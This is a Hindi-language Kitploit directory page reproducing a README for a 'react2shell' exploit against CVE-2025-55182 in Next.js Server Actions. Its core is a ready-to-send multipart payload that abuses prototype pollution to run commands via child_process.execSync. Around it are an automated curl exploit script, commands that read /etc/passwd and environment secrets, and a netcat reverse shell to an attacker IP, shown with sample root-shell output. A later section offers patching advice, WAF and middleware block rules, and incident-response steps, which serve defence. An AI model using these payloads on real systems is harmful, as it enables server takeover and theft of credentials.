Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/yannisduvignau/react2shell-exploit
शोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर कमजोरी है जो React Server Components (RSC) और Server Actions का उपयोग करने वाले Next.js अनुप्रयोगों को प्रभावित करती है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

CVE-2025-55182 – React2Shell

Next.js में रिमोट कोड एक्जीक्यूशन

⚠️ अस्वीकृति: यह दस्तावेज़ केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध इन तकनीकों का कोई अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।


📋 विषय सूची

  1. अवलोकन
  2. यह कैसे काम करता है
  3. स्थापना और सेटअप
  4. चरण-दर-चरण शोषण
  5. परिणाम और प्रभाव
  6. शमन रणनीतियाँ

अवलोकन

CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, Next.js एप्लिकेशनों को प्रभावित करने वाली एक गंभीर कमजोरी है जो उपयोग करते हैं:

  • React सर्वर घटक (RSC)
  • सर्वर क्रियाएँ

यह खतरनाक क्यों है?

एक हमलावर निम्नलिखित का शोषण करके सर्वर पर रिमोट कोड एक्जीक्यूशन (RCE) प्राप्त कर सकता है:

  1. RSC पेलोड का असुरक्षित डिसीरियलाइज़ेशन
  2. __proto__ और constructor के माध्यम से प्रोटोटाइप प्रदूषण
  3. Next.js सर्वर रनटाइम में डायनामिक निष्पादन पथ

परिणाम: Node.js प्रक्रिया के विशेषाधिकारों के साथ मनमानी सिस्टम कमांड निष्पादित की जा सकती हैं।


यह कैसे काम करता है

चरण 1: Next.js RSC प्रोटोकॉल

Next.js क्लाइंट और सर्वर के बीच संचार के लिए एक मालिकाना मल्टीपार्ट/फॉर्म-डेटा प्रोटोकॉल का उपयोग करता है:

  • क्लाइंट सर्वर को React सर्वर घटक भेजता है
  • सर्वर उन्हें डिसीरियलाइज़ और प्रोसेस करता है
  • परिणाम क्लाइंट को वापस आता है
root@kitploit:~
क्लाइंट (ब्राउज़र)
    ↓
[मल्टीपार्ट/फॉर्म-डेटा RSC पेलोड]
    ↓
Next.js सर्वर
    ↓
डिसीरियलाइज़ेशन + निष्पादन
    ↓
प्रतिक्रिया

चरण 2: कमज़ोरी - असुरक्षित डिसीरियलाइज़ेशन

कमज़ोरी इसलिए मौजूद है क्योंकि:

  1. उपयोगकर्ता-नियंत्रित डेटा डिसीरियलाइज़ेशन से पहले मान्य नहीं किया जाता
  2. प्रोटोटाइप श्रृंखला तक पहुँच की अनुमति है (__proto__, constructor)
  3. अनुरोध प्रसंस्करण के दौरान कुछ फ़ील्ड का डायनामिक मूल्यांकन किया जाता है

चरण 3: प्रोटोटाइप प्रदूषण हमला

एक हमलावर एक पेलोड तैयार कर सकता है जो आंतरिक ऑब्जेक्ट गुणों को संशोधित करता है:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // प्रोटोटाइप श्रृंखला को लक्षित करता है
  "_response": {
    "_prefix": "malicious code here"  // कोड इंजेक्शन
  }
}

__proto__ का शोषण करके, हमलावर जावास्क्रिप्ट ऑब्जेक्ट के प्रोटोटाइप को प्रदूषित करता है, जो उससे प्राप्त सभी ऑब्जेक्ट को प्रभावित करता है।

चरण 4: कोड इंजेक्शन

_prefix फ़ील्ड के अंदर, हमलावर जावास्क्रिप्ट कोड इंजेक्ट करता है जो:

  1. process.mainModule.require() के माध्यम से Node.js मॉड्यूल तक पहुँचता है
  2. child_process मॉड्यूल लोड करता है
  3. execSync() का उपयोग करके सिस्टम कमांड निष्पादित करता है
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

चरण 5: परिणाम निष्कर्षण

कमांड का परिणाम त्रुटि प्रतिक्रिया में छिपा होता है:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js यह त्रुटि क्लाइंट को लौटाता है, और कमांड आउटपुट digest फ़ील्ड में दिखाई देता है।


स्थापना और सेटअप

पूर्वापेक्षाएँ

  • Node.js 20
  • Burp Suite (या अनुरोध अवरोधन के लिए समान उपकरण)
  • curl या Postman (पेलोड भेजने के लिए)

चरण 1: कमजोर सर्वर को क्लोन और स्थापित करें

root@kitploit:~
# PoC को क्लोन करें
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Node.js 20 स्थापित करें
nvm install 20
nvm use 20

# निर्भरताएँ स्थापित करें
cd test-server
npm install

चरण 2: सर्वर प्रारंभ करें

root@kitploit:~
npm run dev

सर्वर अब यहाँ उपलब्ध है:

root@kitploit:~
http://localhost:3000

चरण 3: सर्वर चल रहा है इसे सत्यापित करें

root@kitploit:~
curl http://localhost:3000/

इस चरण में, सर्वर सामान्य रूप से व्यवहार करता है।


चरण-दर-चरण शोषण

दृष्टिकोण 1: Burp Suite का उपयोग करना (मैन्युअल अवरोधन)

चरण 1: अवरोधन सक्षम करें

  1. Burp Suite खोलें
  2. Proxy → Intercept टैब पर जाएँ
  3. Intercept is on सक्षम करें
  4. अपने ब्राउज़र में http://localhost:3000/ तक पहुँचें

चरण 2: अनुरोध को अवरोधित करें

एक GET अनुरोध अवरोधित किया जाएगा। इसे Repeater टैब पर भेजें:

  1. राइट-क्लिक → Send to Repeater
  2. Repeater टैब पर जाएँ

चरण 3: दुर्भावनापूर्ण पेलोड से बदलें

पूरे अनुरोध को निम्नलिखित पेलोड से बदलें:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

चरण 4: अनुरोध भेजें

Send पर क्लिक करें


दृष्टिकोण 2: स्वचालित शोषण स्क्रिप्ट

एक फ़ाइल exploit.sh बनाएँ:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# पेलोड बनाएँ
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# कमांड बदलें
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# अनुरोध भेजें
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

इसे निष्पादन योग्य बनाएँ:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

उदाहरण कमांड

फ़ाइलें और निर्देशिकाएँ सूचीबद्ध करें

root@kitploit:~
COMMAND="ls -la /"

वर्तमान उपयोगकर्ता प्राप्त करें

root@kitploit:~
COMMAND="whoami"

एक फ़ाइल पढ़ें

root@kitploit:~
COMMAND="cat /etc/passwd"

नेटवर्क कनेक्शन जाँचें

root@kitploit:~
COMMAND="netstat -tuln"

पर्यावरण चर प्राप्त करें

root@kitploit:~
COMMAND="env"

रिवर्स शेल (पूर्ण सर्वर पहुँच)

पूर्ण इंटरैक्टिव शेल पहुँच प्राप्त करने के लिए, रिवर्स शेल का उपयोग करें।

हमलावर मशीन पर: कनेक्शन के लिए सुनें

root@kitploit:~
ncat -lvnp 9009

या netcat के साथ:

root@kitploit:~
nc -lvnp 9009

लक्ष्य पर: रिवर्स शेल पेलोड भेजें

निम्नलिखित कमांड के साथ पेलोड को संशोधित करें (<ATTACKER_IP> को अपने IP पते से बदलें):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

पूरा पेलोड इस प्रकार हो जाता है:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

अपेक्षित परिणाम

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

अब आपके पास लक्ष्य सर्वर पर पूरी तरह से इंटरैक्टिव शेल है।


परिणाम और प्रभाव

सर्वर प्रतिक्रिया

सफल शोषण पर:

  1. सर्वर HTTP 500 आंतरिक सर्वर त्रुटि के साथ प्रतिक्रिया करता है
  2. प्रतिक्रिया निकाय में निष्पादित सिस्टम कमांड का आउटपुट होता है
  3. आउटपुट त्रुटि प्रतिक्रिया के अंदर digest फ़ील्ड में एम्बेडेड होता है

उदाहरण प्रतिक्रिया

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

संभावित प्रभाव

  • 🔥 पूर्ण रिमोट कोड एक्जीक्यूशन (RCE)
  • 📂 पूर्ण फ़ाइल सिस्टम पहुँच
  • 🔐 क्रेडेंशियल और रहस्य चोरी
  • 🚨 आंतरिक नेटवर्क के भीतर पार्श्व गति
  • 💥 पूर्ण सर्वर समझौता
  • 🔗 आपूर्ति श्रृंखला हमले (यदि तैनात एप्लिकेशन से समझौता करने के लिए उपयोग किया जाता है)
  • 📊 डेटा बहिर्वाह और हेरफेर

शमन रणनीतियाँ

सिस्टम प्रशासकों के लिए

1. Next.js को तुरंत अपडेट करें

root@kitploit:~
npm install next@latest

सुनिश्चित करें कि आप Next.js का पैच किया गया संस्करण चला रहे हैं। आधिकारिक सुरक्षा सलाहकार देखें।

2. सख्त RSC पेलोड सत्यापन

आने वाले RSC पेलोड का सख्त सत्यापन जोड़ें:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // संदिग्ध पेलोड को अस्वीकार करें
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // खतरनाक पैटर्न वाले पेलोड को ब्लॉक करें
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[सुरक्षा] ${request.ip} से दुर्भावनापूर्ण पेलोड प्रयास`);
      return new NextResponse('निषिद्ध', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. यदि आवश्यक न हो तो सर्वर क्रियाएँ अक्षम करें

next.config.js में:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // यदि आवश्यक न हो तो अक्षम करें
    }
  }
};

4. Node.js को न्यूनतम विशेषाधिकारों के साथ चलाएँ

root@kitploit:~
# एक समर्पित उपयोगकर्ता बनाएँ
useradd -r -s /bin/false nextjs

# इस उपयोगकर्ता के तहत सेवा चलाएँ
sudo -u nextjs node server.js

# या systemd के साथ
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. कम क्षमताओं के साथ कंटेनर पृथक्करण

प्रतिबंधित क्षमताओं के साथ Docker का उपयोग करें:

root@kitploit:~
FROM node:20-alpine

# गैर-रूट उपयोगकर्ता बनाएँ
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

कंटेनर को प्रतिबंधित क्षमताओं के साथ चलाएँ:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. संदिग्ध अनुरोधों की निगरानी करें

व्यापक लॉगिंग लागू करें:

root@kitploit:~
// कस्टम लॉगिंग मिडलवेयर
app.use((req, res, next) => {
  // Next-Action हेडर वाले सभी POST अनुरोधों को लॉग करें
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[सुरक्षा_चेतावनी] ${req.ip} से शोषण प्रयास का पता चला`);
      console.error(`[सुरक्षा_चेतावनी] User-Agent: ${req.get('user-agent')}`);
      console.error(`[सुरक्षा_चेतावनी] पेलोड: ${bodyString.substring(0, 500)}`);
      
      // सुरक्षा टीम को सतर्क करें
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'निषिद्ध' });
    }
  }
  
  next();
});

7. वेब एप्लिकेशन फ़ायरवॉल (WAF) तैनात करें

अपने WAF को ब्लॉक करने के लिए कॉन्फ़िगर करें:

ModSecurity नियम:

root@kitploit:~
# अनुरोध निकाय में __proto__ को ब्लॉक करें
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'प्रोटोटाइप प्रदूषण हमला'"

# अनुरोध निकाय में constructor को ब्लॉक करें
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'प्रोटोटाइप प्रदूषण हमला'"

# child_process मॉड्यूल पहुँच को ब्लॉक करें
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'कोड निष्पादन प्रयास'"

# execSync फ़ंक्शन को ब्लॉक करें
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'कोड निष्पादन प्रयास'"

# require() स्टेटमेंट को ब्लॉक करें
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'मॉड्यूल लोड करने का प्रयास'"

AWS WAF उदाहरण:

root@kitploit:~
{
  "Name": "RCE प्रयासों को ब्लॉक करें",
  "Rules": [
    {
      "Name": "प्रोटो प्रदूषण ब्लॉक करें",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "लोअरकेस" }],
          "PositionalConstraint": "शामिल है",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "प्रोटो प्रदूषण ब्लॉक करें"
      }
    }
  ]
}

8. सामग्री सुरक्षा नीति (CSP) हेडर

जबकि CSP मुख्य रूप से क्लाइंट-साइड की रक्षा करता है, यह अच्छा अभ्यास है:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. नियमित सुरक्षा ऑडिट

root@kitploit:~
# कमजोरियों के लिए निर्भरताएँ स्कैन करें
npm audit
npm audit fix

# सतत निगरानी के लिए snyk का उपयोग करें
snyk monitor

# नियमित पैठ परीक्षण
# त्रैमासिक सुरक्षा मूल्यांकन शेड्यूल करें

10. घटना प्रतिक्रिया योजना

यदि शोषण का संदेह हो:

root@kitploit:~
# 1. संदिग्ध पैटर्न के लिए लॉग जाँचें
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. प्रक्रिया इतिहास जाँचें
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. नेटवर्क कनेक्शन जाँचें
netstat -tuln
lsof -i -P -n

# 4. प्रभावित सिस्टम को अलग करें
sudo iptables -I INPUT -j DROP

# 5. साक्ष्य और लॉग संरक्षित करें
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. अपनी सुरक्षा टीम को सूचित करें और पैच लागू करें

तकनीकी गहराई

पेलोड का विश्लेषण

root@kitploit:~
{
  // चरण 1: प्रोटोटाइप श्रृंखला को लक्षित करें
  "then": "$1:__proto__:then",
  
  // चरण 2: हल किए गए मॉडल के रूप में चिह्नित करें
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // चरण 3: _response के माध्यम से कोड इंजेक्ट करें
  "_response": {
    // इंजेक्ट किया गया जावास्क्रिप्ट कोड
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // फॉर्म डेटा का संदर्भ
    "_chunks": "$Q2",
    
    // फॉर्म डेटा के माध्यम से कंस्ट्रक्टर तक पहुँच
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

यह काम क्यों करता है

  1. मल्टीपार्ट पार्सिंग: Next.js मल्टीपार्ट फॉर्म डेटा को पार्स करता है
  2. संदर्भ समाधान: $1 जैसे संदर्भ अन्य फॉर्म फ़ील्ड में हल किए जाते हैं
  3. ऑब्जेक्ट पुनर्निर्माण: पार्स किए गए डेटा से ऑब्जेक्ट का पुनर्निर्माण किया जाता है
  4. प्रोटोटाइप प्रदूषण: __proto__ पथ ऑब्जेक्ट प्रोटोटाइप को संशोधित करता है
  5. कोड निष्पादन: त्रुटि प्रबंधन के दौरान _prefix फ़ील्ड का मूल्यांकन किया जाता है
  6. कमांड निष्पादन: execSync मनमानी कमांड चलाता है
  7. परिणाम बहिर्वाह: आउटपुट त्रुटि डाइजेस्ट में एम्बेडेड होता है

अतिरिक्त संसाधन

  • मूल PoC: https://github.com/msanft/CVE-2025-55182/
  • Next.js सुरक्षा दस्तावेज़ीकरण: https://nextjs.org/docs/security
  • OWASP प्रोटोटाइप प्रदूषण: https://owasp.org/www-community/attacks/Prototype_pollution
  • Node.js सुरक्षा सर्वोत्तम अभ्यास: https://nodejs.org/en/docs/guides/security/
  • CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन: https://cwe.mitre.org/data/definitions/502.html

निष्कर्ष

CVE-2025-55182 (React2Shell) निम्नलिखित से जुड़े गंभीर जोखिमों को प्रदर्शित करता है:

✅ उपयोगकर्ता-नियंत्रित डेटा का असुरक्षित डिसीरियलाइज़ेशन ✅ जावास्क्रिप्ट प्रोटोटाइप श्रृंखलाओं में प्रोटोटाइप प्रदूषण ✅ उचित सत्यापन के बिना डायनामिक कोड निष्पादन

यह कमजोरी निम्नलिखित के महत्व को पुष्ट करती है:

  • 🔒 इनपुट सत्यापन: उपयोगकर्ता इनपुट पर कभी भरोसा न करें
  • 🛡️ गहराई में रक्षा: सुरक्षा की कई परतों का उपयोग करें
  • ⚠️ फ्रेमवर्क को अपडेट रखना: सुरक्षा पैच तुरंत लागू करें
  • 🔍 निगरानी और लॉगिंग: संदिग्ध व्यवहार का पता लगाएं
  • 🔐 न्यूनतम विशेषाधिकार सिद्धांत: सेवाओं को न्यूनतम अनुमतियों के साथ चलाएँ
  • 🧪 नियमित सुरक्षा परीक्षण: ऑडिट और पैठ परीक्षण करें

लाइसेंस: केवल शैक्षिक उपयोग - कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है।

वैध सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए, कोई भी परीक्षण करने से पहले सिस्टम स्वामी से लिखित अनुमति प्राप्त करना सुनिश्चित करें।

टूल डाउनलोड करें